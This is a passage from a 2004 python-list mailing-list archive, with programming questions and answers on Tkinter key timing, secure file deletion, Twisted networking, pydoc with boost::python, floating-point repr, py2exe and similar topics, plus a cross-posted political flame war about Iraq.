GMT Subject: 'telegraphy' as a means of data entry References: <QOK0d.394968$gE.276141@pd7tw3no> <8YGdnbbBS6xILt7cRVn-iA@powergate.ca> Message-ID: <llT0d.382584$M95.334812@pd7tw1no> "Peter Hansen" <peter at engcorp.com> wrote in message news:8YGdnbbBS6xILt7cRVn-iA at powergate.ca... | Elaine Jackson wrote: | | > I need to record the respective times of the events in a sequence of | > presses/releases of a particular key on the computer keyboard. The key in | > question should also make a sound when depressed (perhaps a forlorn sigh - tee | > hee). On the face of it, it seems like it should be fairly straightforward to | > achieve this with a suitable combination of ingredients from Tkinter, time and | > winsound. | | Does this have to work regardless of what else is going on on | the computer, or is it okay if it works only when the window | for this particular application is active? (In other words, | it's easy to do if the keypresses go only to this program, | but if you want to capture *all* keypresses at all times, | you can't do it, AFAIK, using just a GUI toolkit like wxPython | or Tkinter... you have to use an OS hook of some kind.) | | -Peter Just when the window is active. From aleaxit at yahoo.com Wed Sep 1 07:26:23 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 13:26:23 +0200 Subject: Beginners question. References: <ch2c6b$5ap$1@newsg1.svr.pol.co.uk> Message-ID: <1gjfqzc.1fl6r581n3g79zN%aleaxit@yahoo.com> Player <asif at go-away-spammer.com> wrote: ... > if item == type(list): It's very unlikely that the item will equal the type of list (which is the builtin metaclass 'type' itself). You presumably mean: if isinstance(item, list): Alex From http Tue Sep 7 03:18:48 2004 From: http (Paul Rubin) Date: 07 Sep 2004 00:18:48 -0700 Subject: Secure delete with python References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com> <chhoae$5pp$1@online.de> <chhoij$62d$1@online.de> <du74qmb9mzs.fsf@amadeus.cc.tut.fi> <7xd60zf339.fsf@ruckus.brouhaha.com> <a8dfce8c.0409062245.70f5dcf@posting.google.com> Message-ID: <7xeklea6nb.fsf@ruckus.brouhaha.com> matt.torment at gmail.com (Matthew K Jensen) writes: > I had this idea once, when I assumed that the OS wrote to the first > blocks nearest to the beginning of the disk, to where I just simply > write a whole bunch of crap files to fill in blocks that could be the > place where recently deleted files used to be. Then defrag the > filesystem. Then delete the crap files. > > I'm just thinking aloud if any of this helps. If you're 1) in control of what the OS does; and 2) not concerned about securing the data against serious recovery attempts, then ok, there's all kinds of stuff you can do that gives reasonable protection. In practice, 1) you're usually not in control of the OS and so you can't assume what order blocks are written in; and 2) if you're writing a security application for use by other people, you don't necessarily know what kinds of opponents your users will have or what will happen if their data escapes, so you have to guard against powerful data recovery techniques (including as-yet-uninvented ones) as well as casual ones. I think you're best off assuming that short of melting the platters, there's no way to ever erase data from a hard drive, i.e. that a sufficiently powerful attacker can recover every state that the drive has ever been in. The solution is to write only encrypted data to the drive, and don't store the key on the drive. From krw at att.bizzzz Sat Sep 11 16:45:32 2004 From: krw at att.bizzzz (keith) Date: Sat, 11 Sep 2004 16:45:32 -0400 Subject: Xah Lee's Unixism References: <41431d5f$0$6923$61fed72c@news.rcn.com> <10k68j0lqorgqdf@corp.supernews.com> Message-ID: <pan.2004.09.11.20.45.29.756681@att.bizzzz> On Sat, 11 Sep 2004 16:05:52 +0000, SM Ryan wrote: > # But France, Germany and Russia would have nothing to do with that. > # It would stop their cash flows with Saddam if we had tried to build > > France said all along it would agree to military action in Iraq > _if_ NBC weapons or development where discoverrd. > > So where are these weapons? We don't know. We *do* know they had them. We don't know what happened to them (though some have shown up). Indeed I hope they did disappear into a black hole somewhere (never to be seen again). > France and Germany are in Afghanistan fighting and dying on our behalf, > along with other NATO armies. Our? Al-Quida is only a US issue? France and Germany have nothing to fear from terrorism? > Iraq had nothing to do with terrorism Bullshit. It may have had nothing to do with 9/11, but only the infirm would believe Iraq had nothing to do with terrorism. > except for the echoing looniness inside Dick Cheney's empty skull. You're projecting again. > The > real war on terrorism is in Afghanistan which the USA abandonned in > search of more profitable plunder. Oh, please! No one abandoned Afghanistan. Just because it's not first up on Dan Blather, doesn't mean it fell off teh radar screen. > France and Germany and other NATO > armies are fighting the war on terrorism, and they were doing so long > before the USA got involved. It's the USA that abandonned the war on > terrorism in favour of trying to break OPEC and control the flow of oil > from Arab states, not France and Germany. ...any more fairy tales? France and Germany were the ones profiting, under the table, from trade with Iraq under the Oil-for-Food program. They didn't want to kill the goose... > # the cease fire. With nobody watching the bad boy, he could # do > anything he damned well wanted to, including allow transport # across > his country from east to west. > > The borders of Iraq were far better regulated under Saddam than today. Is that why there were so many terrorists living in Iraq? I thought Saddam had nothing to do with terrorism? ...can't have it both ways. > The chaos that USA inflicted openned the borders. Perhaps. Iran and Syria do not want Iraq to be free. Much of the funding for the "insurgents" is from Iran and Syria. > Remember Bunker Hill? Remember Valley Forge? Remember Yorktown? How about Antietam, Harpers Ferry, and Gettysburgh? ...or maybe Pearl Harbor, Coral Sea, Midway, Guada Canal? See I can name irrelevant battles too. > Do you think only Americans are capable of taking up arms against a > foreign occupier and fighting for their independence? We have become the > redcoats and Hessians. Makes you kinda proud, doesn't it? The US seems to be the only one with a real military left. The French? Italy? Canada? -- Keith From tjreedy at udel.edu Fri Sep 24 14:51:22 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 24 Sep 2004 14:51:22 -0400 Subject: Module Pygame - "FadeOut" text References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135> Message-ID: <cj1qbe$qlv$1@sea.gmane.org> "Askari" <askari at addressNonValide.com> wrote in message news:Xns956E4F8F8C192askariaddressNonVali at 207.35.177.135... > (Help for Pygame module) There is a separate mailing list for Pygame, a third-party package. It can be accessed as a newsgroup via news.gmane.org as gmane.comp.python.pygame. Terry J. Reedy From ThisIsNotMyReal at ddress.com Wed Sep 22 10:38:54 2004 From: ThisIsNotMyReal at ddress.com (Brian) Date: Wed, 22 Sep 2004 14:38:54 GMT Subject: Check for keystroke References: <Xns956C6558D1D9Anonenonecom@24.93.43.121> Message-ID: <Xns956C6582A3345nonenonecom@24.93.43.119> Also, this is being done in Linux and does NOT need to be multi-OS compatible. Brian <ThisIsNotMyReal at ddress.com> wrote in news:Xns956C6558D1D9Anonenonecom at 24.93.43.121: > Inside a loop, I need to passively check to see if a key is pressed or > not without pausing like raw_input does. Some pseudocode: > > While true: > If a key is pressed > which key is pressed > > do other stuff inside loop > > > Google groups turned up this thread: > > http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&th= > 3221aa1ee6ef2ec2&seekm=2259b0e2.0307310800.3310ec83% > 40posting.google.com&frame=off > > TinyURL: http://tinyurl.com/4chqh > > > But neither the pygame or curses solution worked. Any new thoughts on > this? > From frithiof.jensen at die_spammer_die.ericsson.com Wed Sep 15 08:37:50 2004 From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen) Date: Wed, 15 Sep 2004 14:37:50 +0200 Subject: optimizing memory utilization References: <pan.2004.09.14.04.38.02.647096@ymous.com> <ci6f73$921$1@newstree.wise.edt.ericsson.se> <1db49385.0409141355.5d204a03@posting.google.com> Message-ID: <ci9ct3$nuc$1@newstree.wise.edt.ericsson.se> "Wes Crucius" <wcrucius at sandc.com> wrote in message news:1db49385.0409141355.5d204a03 at posting.google.com... > Thanks for the specific suggestion, but it's an approach I'd hoped to > avoid. I'd rather get 2Gig of RAM if I was confident I could make it > work that way... The problem with a file-based database (versus an > in-memory data-structure-based database as I was meaning) is > performance. I am not convinced ;-) The people designing databases have run into exactly that kind of problem and they have spent a long time studying algorithms, eficcient datastructures and writing confererence papers on how to cleverly map and search through said data structures that may not fit in memory - to the point where I think one will have a hard time doing it better by hand. PySQLite will try to keep everything in memory, so if you have enough, it will only hit the disk on opening the database and on comitting a change. Commit can take a long time though. From cjblaine at gmail.com Fri Sep 17 14:46:44 2004 From: cjblaine at gmail.com (Jeff Blaine) Date: Fri, 17 Sep 2004 18:46:44 GMT Subject: Changes in this release docs Message-ID: <kiG2d.65793$D%.56019@attbi_s51> Something that has always bothered me about the 'Changes in this release' docs for new features (generators for instance): There's usually no explanation for why the feature was added. Sure, it's nice to leave the feature open-ended to not pigeon hole its usage, but I think (and maybe this is just me) people are likely to make better use of the language's new features if they "get it" more directly through an explanation of the hole that was filled in the language. That is, someone requested it and had a reason to want it. What was that reason, in real-world terms? I don't think it's reasonable to expect language _users_ to keep up with PEPs, etc. Just a humble request for consideration. From grante at visi.com Wed Sep 29 18:43:14 2004 From: grante at visi.com (Grant Edwards) Date: 29 Sep 2004 22:43:14 GMT Subject: multiple instance on Unix References: <mailman.4088.1096479490.5135.python-list@python.org> <slrnclmbvf.s1l.jgrahn-nntq@frailea.sa.invalid> Message-ID: <415b3a82$0$879$a1866201@newsreader.visi.com> On 2004-09-29, Jorgen Grahn <jgrahn-nntq at algonet.se> wrote: > Unix programs normally don't attempt to "protect" themselves > in this way. Some do, some don't. Many system daemons want to make sure that only a single instance is running. That's one of the functions of all the *.pid files in /var/run. It's less common that user programs try to enforce such a restriction, but it happens. It's usually done by creating a lock file in the user's home directory if it's a per-user restriction. > I can /definitely/ see situations where two programs modifying > the same set of files, resulting in binary garbage, but if > these are different programs your approach doesn't work. > > Best is a design which doesn't need locking. Second best is > locking which is tied to the resources (files) which need to > be protected. Agreed, but creating a lockfile to make sure only a single instance of the program is running is the standard third choice. > Leaving it up to the user to be careful is another popular > choice ;-) Yup. -- Grant Edwards grante Yow! PARDON me, am I at speaking ENGLISH? visi.com From jyx at telia.com Wed Sep 15 09:18:11 2004 From: jyx at telia.com (Joakim Bech) Date: Wed, 15 Sep 2004 13:18:11 GMT Subject: Twisted and connected UDP example Message-ID: <niX1d.103392$dP1.371893@newsc.telia.net> At this page --> http://twistedmatrix.com/documents/current/howto/udp is an example that shows how connected UDP is done with Twisted. I can't get it to work. When I run it, it says: ... self.startProtocol() File "./client2.py", line 10, in startProtocol d.addCallback(self._cbConnected) AttributeError: 'NoneType' object has no attribute 'addCallback' ... I.e it looks like the "d = self.transport.connect("ip_to_listening_server", listen_port_nbr)" doesn't return anything? As server at "the other side" I've used the first example and I have also tried using netcat as an listening UDP-server. I'm sure that the IP-adress and port is correct in my code, so it can't be that. (Btw, the self.transport.write .. line is not correct indented I suppose?) Anyone that can help me with this? From jeff at ccvcorp.com Wed Sep 1 14:29:53 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 01 Sep 2004 11:29:53 -0700 Subject: Python Usage Statistics In-Reply-To: <3064b51d.0409010904.5868f141@posting.google.com> References: <bba535b4.0408310322.248af2b0@posting.google.com> <3064b51d.0409010904.5868f141@posting.google.com> Message-ID: <10jc56jrm60tkdf@corp.supernews.com> beliavsky at aol.com wrote: >anandpillai at letterboxes.org (Anand Pillai) wrote in message news:<bba535b4.0408310322.248af2b0 at posting.google.com>... > > >>... I thought it would be a good idea to present a number, a >>round-about figure on the approximate *actual* usage of Python out >>there in number of developers and/or installations. >> >> > >See SkillMarket at http://mshiltonj.com/sm/categories/languages/ . >Polling jobs listed at dice.com , the # of job openings by language on >9/1/2004 were (in descending order) > > But note that job openings don't necessarily accurately represent language *usage*, they only represent *unsatisfied demand* for competency in that language. One could argue, with some justification, that there's few job openings requesting programmers familiar with Python because a good programmer can become productive in Python so quickly -- why take months to hire a Python guy when an existing employee can *become* a Python guy in a couple weeks? It also doesn't reflect the usage of Python for small projects, incidental scripting tasks, etc., where there isn't a need for a full-time employee to be working on that particular project. Jeff Shannon Technician/Programmer Credit International From mwh at python.net Mon Sep 13 12:40:23 2004 From: mwh at python.net (Michael Hudson) Date: Mon, 13 Sep 2004 16:40:23 GMT Subject: help: up/down arrows in 2.3.4 interactiv References: <ci4i04$1h1v$1@ulysses.noc.ntua.gr> Message-ID: <m3ekl69l6x.fsf@pc150.maths.bris.ac.uk> Jerald <jfj at freemail.gr> writes: > I've just installed 2.3.4 from the source on a linux box. > In the interactive mode, up/down arrows do not work. > When I press 'up' python prints '^[[A' and down gives '^[[B' > What is wrong? Try installing readline-dev, or whatever package you need to convince your distro to install readline's headers. Cheers, mwh -- <Nafai> w00t w00t w00t w00t! <Nafai> I don't understand all of the code, but it works! <Nafai> I guess I should check it in. -- from Twisted.Quotes From exarkun at divmod.com Wed Sep 15 23:59:54 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Thu, 16 Sep 2004 03:59:54 GMT Subject: socket function that loops AND returns something In-Reply-To: <ciatjj$olo$1@solaris.cc.vt.edu> Message-ID: <20040916035954.29723.549451364.divmod.quotient.1649@ohm> On Wed, 15 Sep 2004 22:26:02 -0400, Brad Tilley <bradtilley at usa.net> wrote: >I have a function that starts a socket server looping continuously > listening for connections. It works. Clients can connect to it and send > data. > > The problem is this: I want to get the data that the clients send out of > the loop but at the same time keep the loop going so it can continue > listening for connections. If I return, I exit the function and the loop > stops. How might I handle this? Threads and processes have been suggested by others. Here's another way to do it: from twisted.internet import reactor, protocol class PrinterProtocol(protocol.Protocol): def connectionMade(self): addr = self.transport.getHost() print ("Client", addr.host, "connected and was directed to port", addr.port) def dataReceived(self, data): print "Client sent this message:", data self.transport.loseConnection() def listen(ip_param, port_param): f = protocol.ServerFactory() f.protocol = PrinterProtocol reactor.listenTCP(port_param, f, interface=ip_param) print "Waiting for new connections..." reactor.run() For more information, check out http://www.twistedmatrix.com/ Jp From chris.cavalaria at free.fr Sun Sep 26 17:45:18 2004 From: chris.cavalaria at free.fr (Christophe Cavalaria) Date: Sun, 26 Sep 2004 23:45:18 +0200 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <mailman.3855.1096035438.5135.python-list@python.org> <Xns956EDE04B1B03OKB@130.133.1.4> <mailman.3907.1096136449.5135.python-list@python.org> <Xns956F822D03E24OKB@130.133.1.4> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> <mailman.3917.1096163923.5135.python-list@python.org> <Xns956FC698DBC7DOKB@130.133.1.4> <86F69852-0FB7-11D9-B926-003065B11E84@leafe.com> <mailman.3936.1096210184.5135.python-list@python.org> Message-ID: <4157386f$0$31740$636a15ce@news.free.fr> Carlos Ribeiro wrote: > On Sun, 26 Sep 2004 08:28:10 -0400, Ed Leafe <ed at leafe.com> wrote: >> Forgive me if this is an oversimplification, but it looks like >> what >> you want is an XML-based definition of your UI objects, and are trying >> to approximate that with Python syntax. What you've written looks an >> awful lot like an XRC file structure, albeit without the closing tags. > > Here we go -- Sunday morning, coding and discussing... > > I'm avoiding a data-driven approach (XML) because I think that keeping > all declarations in Python will make my code easy to work with in the > long run. I've tried some XML based tools, but found the process to be > too convoluted -- it needs another set of tools and skills, and it > means that I need to be able to read yet another completely different > syntax. Also, I'm trying to avoid visual GUI designers at this point Did you check that new project : http://techgame.net/projects/Framework/wiki/ > -- I realized that I simply lose to much time futzing with pixel > alignment details, and that I'm better investing my time doing other > stuff. That's why I like QtDesigner. The think lets you place as you want the controls on the form, but you are encouraged to always group the controls and to never relly on pixel placement. And it is really easy to use once you know how. From adalke at mindspring.com Mon Sep 20 12:31:23 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 20 Sep 2004 16:31:23 GMT Subject: Determining if a client PC has an Internet connection In-Reply-To: <mailman.3571.1095690440.5135.python-list@python.org> References: <1095578301.31957.263.camel@devilbox.devilnet.internal> <mailman.3571.1095690440.5135.python-list@python.org> Message-ID: <vBD3d.5552$gG4.3070@newsread1.news.pas.earthlink.net> Dave Brueck wrote: > 1) If the user has a modem and is connected via a modem, you know for > sure that the user is online (use ctypes to call > rasapi32.RasEnumEntriesA to see if the user has a modem, and > rasapi32.RasEnumConnectionsA to see if the user is connected via a modem) Or is connected to a private network that isn't connected to the Internet. Though these days that's rare. I don't think I've been in that situation in over 12 years -- the last time I connected to a dial-up BBS. Andrew dalke at dalkescientific.com From pekka.niiranen at wlanmail.com Tue Sep 21 14:06:27 2004 From: pekka.niiranen at wlanmail.com (Pekka Niiranen) Date: Tue, 21 Sep 2004 21:06:27 +0300 Subject: Help needed: Unicode and file format problem Message-ID: <41506e20$0$19027$39db0f71@news.song.fi> Hi gurus, I have stored Excel97 -table in ascii csv -file. The table contains pairs of values: string and its replacement. I parse the csv-file and run "search and replace" to other files with "sed" and "perl" -scripts in Cygwin environment. Sometimes the replacements are nonascii strings (Chinese characters for example). This does not matter because I am treating all files as list of bytes of which some are replaced. Now, however, the file to which I run search and replace has to be in UTF-8 format. How can I run Unicode regural expressions in Python when csv -file contains ascii mixed with some nonascii characters? How can I work out corresponding Unicode character out of bare bytes? In other words I have to open target file like this: fileObj = codecs.open( "File_to_be_modified", "w", "utf-8" ) and then run Unicode regular expression to it, where read replacements are bytes that must be written out as UTF-8 strings. I could try to read directly from Excel to Python thru COM interface or try to created Python COM service that is called from the Excel, but I would hate to do that. I could also try switch to Excel2000 which supports UTF-8 as saving format, but there are other issues (VBA code) involved. -pekka- From carribeiro at gmail.com Fri Sep 3 18:34:31 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 19:34:31 -0300 Subject: age of Python programmers In-Reply-To: <1E007CB6-FDF4-11D8-8653-000A957911BC@ksenia.nl> References: <mailman.1859.1092833285.5135.python-list@python.org> <mailman.1900.1092860258.5135.python-list@python.org> <Xns954A5141FF84JanC@213.118.38.197> <d8778a53.0408311322.9ad0233@posting.google.com> <6amZc.17353$ni.8118@okepread01> <822221bb04090109167035d328@mail.gmail.com> <mailman.2753.1094102613.5135.python-list@python.org> <4edc17eb.0409022018.27a96821@posting.google.com> <864d3709040903055719060a0b@mail.gmail.com> <1E007CB6-FDF4-11D8-8653-000A957911BC@ksenia.nl> Message-ID: <864d3709040903153457217ce0@mail.gmail.com> On Sat, 4 Sep 2004 00:56:32 +0300, Ksenia Marasanova <ksenia at ksenia.nl> wrote: > The most exciting thing I did then was drawing on the mainframe punch > cards at the age of 8. The punch cards were brought from the work by my > aunt special for my drawing needs, and the sport was to find a card > with least holes in it. ;P At some point I got a huge pile of unused punch cards that I used for draft and assorted notes (I think that the machines were just scrapped). The paper used for the cards was a special quality (due to the mechanical requirements of the machines); they were 'soft' but strong, and quite good to write over. But I could never find more later... -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From ndbecker2 at verizon.net Thu Sep 30 13:15:12 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Thu, 30 Sep 2004 13:15:12 -0400 Subject: Help with boost::python and documentation tools (e.g. pydoc) Message-ID: <cjhev1$bdt$1@sea.gmane.org> I'm using boost::python to transform various C++ classes and functions to python. It is all working quite well, but now I'm having trouble with documentation tools. I hope someone can tell me if the problem is with the doc tools, such as pydoc, or with boost::python implementation. If I create a free function, this is what happens: PyTypeObject function_type = { PyObject_HEAD_INIT(0) 0, "Boost.Python.function", sizeof(function), 0, (destructor)function_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_compare */ 0, //(reprfunc)func_repr, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ function_call, /* tp_call */ 0, /* tp_str */ 0, // PyObject_GenericGetAttr, /* tp_getattro */ 0, // PyObject_GenericSetAttr, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT /* | Py_TPFLAGS_HAVE_GC */,/* tp_flags */ 0, /* tp_doc */ 0, // (traverseproc)func_traverse, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, //offsetof(PyFunctionObject, func_weakreflist), /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ 0, /* tp_methods */ 0, // func_memberlist, /* tp_members */ function_getsetlist, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ function_descr_get, /* tp_descr_get */ 0, /* tp_descr_set */ 0, //offsetof(PyFunctionObject, func_dict), /* tp_dictoffset */ 0, /* tp_init */ 0, /* tp_alloc */ 0, 0 /* tp_new */ }; Notice the getset member is being set, so I guess this is using the new descriptor protocol. As an example: dir (block_interleaver_wrap) ['__doc__', '__file__', '__name__', 'block_interleaver', 'deinterleave', 'deinterleave_c', 'interleave', 'interleave_c'] the latter 4 are free functions. If I use pydoc, these functions don't appear. inspect.ismethoddescriptor(block_interleaver_wrap.interleave) True inspect.getdoc (block_interleaver_wrap.interleave) 'interleave(inter,x)\nInterleave input I{x} using interleaver I{inter}@param inter: stuff' This is the documentation I wanted. Anyone know what needs to happen so that tools like pydoc, and especially epydoc, will correctly find the documentation? From jmfbahciv at aol.com Wed Sep 1 07:56:58 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 01 Sep 04 11:56:58 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> Message-ID: <4135cbcd$0$19726$61fed72c@news.rcn.com> In article <41337FC9.8070902 at hotmail.com>, Antony Sequeira <usemyfullname at hotmail.com> wrote: >Andre Majorel wrote: >> On 2004-08-28, Rob Warnock <rpw3 at rpw3.org> wrote: >> >>>Pascal Bourguignon <spam at mouse-potato.com> wrote: >>>+--------------- >>>| $ telnet xahlee.org 80; >>>| Trying 208.186.130.4... >>>| Connected to xahlee.org. >>>| Escape character is '^]'. >>>| GET / HTTP/1.1 >>>| >>>| HTTP/1.1 400 Bad Request >>>| Date: Fri, 27 Aug 2004 01:35:52 GMT >>>| Server: Apache/2.0.50 (Fedora) >>>| ^^^^^^^^^^^^^^^^^^^^^^ >>>+--------------- >>> >>>So are you complaining about the fact that his hosting provider >>>preloaded RedHat Fedora with Apache 2.0 for him? >> >> >> There is no shortage of Windows-based hosting companies, so why >> didn't he go there ? Whatever your opinions, it's best to put >> your money where your mouth is if you expect to be taken >> seriously. >> >Windows (MS) is not 'Unixism'? Good bitgod, no. AAMOF, Windows would be much improved if it cut off its balls. /BAH Subtract a hundred and four for e-mail. From aleaxit at yahoo.com Tue Sep 21 12:56:43 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 21 Sep 2004 18:56:43 +0200 Subject: Python for Perl programmers? References: <c1e48b51.0409201820.217e1dd@posting.google.com> Message-ID: <1gkh87v.61veo51w0slg8N%aleaxit@yahoo.com> Markus Dehmann <markus.cl at gmx.de> wrote: ... > Is there a tutorial that takes all the standard perl things and then > explains how to do them in python? That would be perfect. Open a file, It's not QUITE what you're asking for, but: try diveintopython.org and I think you'll like it (perhaps you'll like it enougn to buy the paper version). Mark Pilgrim is targeting exactly the kind of very experienced programmer you seem to be, and his text moves fast...! Alex From richie at entrian.com Fri Sep 17 09:43:55 2004 From: richie at entrian.com (Richie Hindle) Date: Fri, 17 Sep 2004 14:43:55 +0100 Subject: changing local variable values in python debugger In-Reply-To: <414AE09D.3050607@bellsouth.net> References: <cic219$l1s@odak26.prod.google.com> <414AE09D.3050607@bellsouth.net> Message-ID: <fvplk0lecej975q6q1fl76b8mpmmf8us00@4ax.com> [Jeremy] > Is there any way to modify a local variable in the Python debugger (pdb)? > [...] > (Pdb) f > 'a' > (Pdb) f = 'd' > (Pdb) f > 'a' In fact what you're doing there *is* working - look: > c:\src\tests\jeremy-pdb.py(9)main() -> if f == 'd': (Pdb) f 'b' (Pdb) f = 'd' (Pdb) s > c:\src\tests\jeremy-pdb.py(10)main() -> b(f) Setting the value of a local variable works, but *examining* the value resets it to whatever it was when you arrived at the current pdb prompt. It's a bug, either in pdb or in Python's core debugger support depending on how you look at it. I've been meaning to try to fix this for ages, but haven't found the time to figure out how to do so. -- Richie Hindle richie at entrian.com From svbrk at start.no Tue Sep 28 17:52:08 2004 From: svbrk at start.no (Svein Brekke) Date: 28 Sep 2004 14:52:08 -0700 Subject: photoshop plugin from Python script Message-ID: <21298535.0409281352.2dbdf5f4@posting.google.com> Hello. I am working on a python app for image transfer and basic image manipulation (automating the workflow with my digital cameras Nikon D100 and Coolpix 5000). I would like to use Adobe's free CameraRaw photo shop plugin to convert .NEF files to .jpeg. Does anybody know if this is possible, and how should i proceed to achieve this? regards, Svein Brekke From mattjensen at timetospare.net Wed Sep 1 23:56:29 2004 From: mattjensen at timetospare.net (Matthew K Jensen) Date: 1 Sep 2004 20:56:29 -0700 Subject: Help req: py2exe's compiled executables only working with XP References: <173c23bb.0408282105.4cd76e07@posting.google.com> <153fa67.0408290602.10b80c47@posting.google.com> Message-ID: <173c23bb.0409011956.56aa222d@posting.google.com> kylotan at hotmail.com (Kylotan) wrote in message news:<153fa67.0408290602.10b80c47 at posting.google.com>... > mattjensen at timetospare.net (Matthew K Jensen) wrote in message news:<173c23bb.0408282105.4cd76e07 at posting.google.com>... > > I am a young programmer with his big break on the line. For some > > reason, small apps that I've written and compiled on an XP machine > > won't work on anything but XP machines. > > A better definition of what is going wrong than "won't work" is > needed. Do the apps not run at all? Do they crash? Can you view the > standard output/error streams to see if something is being written > there? > > Bear in mind that py2exe doesn't produce compiled executables like > those a C++ compiler might. It's more of an executable archive and all > the files are right there. You can even open it up in an archiving > program to check that all the relevant dlls and so on are added. > Running a dependency-checker tool on some of those might reveal that > you're relying on XP-only features, although that's usually evident > from the Python code. I guess I should describe the problem more. When I go to execute, nothing visibly happens. And no, I am not using XP-only features. Is this just a case that I should be making exe's with a previous OS and having that run on things that came after the said OS? From peter at engcorp.com Tue Sep 28 10:06:13 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 10:06:13 -0400 Subject: floating point glitch In-Reply-To: <cjbqfv$kdm$1@pegasus.csx.cam.ac.uk> References: <415295E6.9040602@ericsson.com> <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com> <cj5v5i$7vk$1@pegasus.csx.cam.ac.uk> <7xhdple624.fsf@ruckus.brouhaha.com> <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com> <cjbqfv$kdm$1@pegasus.csx.cam.ac.uk> Message-ID: <F5CdnYnGjMVL8sTcRVn-rw@powergate.ca> Michael Hoffman wrote: > Tim Roberts wrote: > >> Right! That's the point. str() is the perfect solution in those cases >> where you want the language to lie to you. In many cases, that IS >> what you >> want. repr() is the perfect solution when you need an invertible >> function. > > repr() does not provide an invertible function if you are using it on a > list, as was pointed out here, since list.__repr__() essentially calls > str() for its float members rather than repr(). It does? >>> [0.66] [0.66000000000000003] >>> repr([0.66]) [0.66000000000000003]' >>> str([0.66]) [0.66000000000000003]' >>> str(0.66) '0.66' >>> repr(0.66) '0.66000000000000003' -Peter From theller at python.net Wed Sep 22 02:42:01 2004 From: theller at python.net (Thomas Heller) Date: Wed, 22 Sep 2004 08:42:01 +0200 Subject: Distutils and binaries without compilation References: <mailman.3628.1095759923.5135.python-list@python.org> Message-ID: <1xguoldy.fsf@python.net> "Mark English" <Mark.English at liffe.com> writes: > The short version of this question is how do you include binaries in a > distribution without including their source ? > > The long version follows... [snipped] You have two choices, imo: - hack/extend distutils to do what you want - go the easy route, and write a simple script which creates a zipfile for you. Thomas From uche.ogbuji at fourthought.com Thu Sep 9 16:40:06 2004 From: uche.ogbuji at fourthought.com (Uche Ogbuji) Date: Thu, 09 Sep 2004 14:40:06 -0600 Subject: [XML-SIG] minidom parse error - keyerror In-Reply-To: <1094704456.413fdd48349c1@www-mail.usyd.edu.au> References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au> <mailman.3019.1094619792.5135.python-list@python.org> <RQB%c.26808$Z14.8877@news.indigo.ie> <1094704456.413fdd48349c1@www-mail.usyd.edu.au> Message-ID: <1094762405.16237.329.camel@borgia> On Wed, 2004-09-08 at 22:34, Ajay wrote: > hi! > > > Quoting Alan Kennedy <alanmk at hotmail.com>: > > > [Ajay] > > > i have tried the archives now and heaps of Google searches but am no > > closer > > > to finding out what the error is. > > > > > > the error does not appear if i use expat. > > > > and > > > > >>i am parsing the attached document. > > >>the code is > > >>parser = make_parser('xml.sax.drivers2.drv_xmlproc') > > >>ruleSet = parse(ruleSetFile, parser=parser) You've got some odd code here. The following works for me (no errors): >>> from xml.sax import make_parser >>> parser = make_parser('xml.sax.drivers2.drv_xmlproc') >>> ruleSet = parser.parse("foo.xml") Where "foo.xml" is the file I pasted in from your message. -- Uche Ogbuji Fourthought, Inc. http://uche.ogbuji.net http://4Suite.org http://fourthought.com Meet me at XMLOpen Sept 21-23 2004, Cambridge, UK. http://xmlopen.org A hands-on introduction to ISO Schematron - http://www-106.ibm.com/developerworks/edu/x-dw-xschematron-i.html Practical (Python) SAX Notes - http://www.xml.com/pub/a/2004/08/11/py-xml.html XML circles the globe - http://www.javareport.com/article.asp?id=9797 Element structures for names and addresses - http://www.ibm.com/developerworks/xml/library/x-elemdes.html Commentary on "Objects. Encapsulation. XML?" - http://www.adtmag.com/article.asp?id=9090 Harold's Effective XML - http://www.ibm.com/developerworks/xml/library/x-think25.html A survey of XML standards - http://www-106.ibm.com/developerworks/xml/library/x-stand4/ From alloydflanagan at comcast.net Fri Sep 24 16:34:37 2004 From: alloydflanagan at comcast.net (A. Lloyd Flanagan) Date: 24 Sep 2004 13:34:37 -0700 Subject: Access to MS SQL from Linux? References: <mailman.3764.1095928105.5135.python-list@python.org> Message-ID: <e838aa6e.0409241234.60ac4645@posting.google.com> Tim Golden <tim.golden at viacom-outdoor.co.uk> wrote in message news:<mailman.3764.1095928105.5135.python-list at python.org>... > [Joe Wong] > > > Hi, > > > Is there any Python library for accessing MS SQL server > > from a Linux machine? Either open source or commerical one will do for me. > I would think the ODBC driver would be the 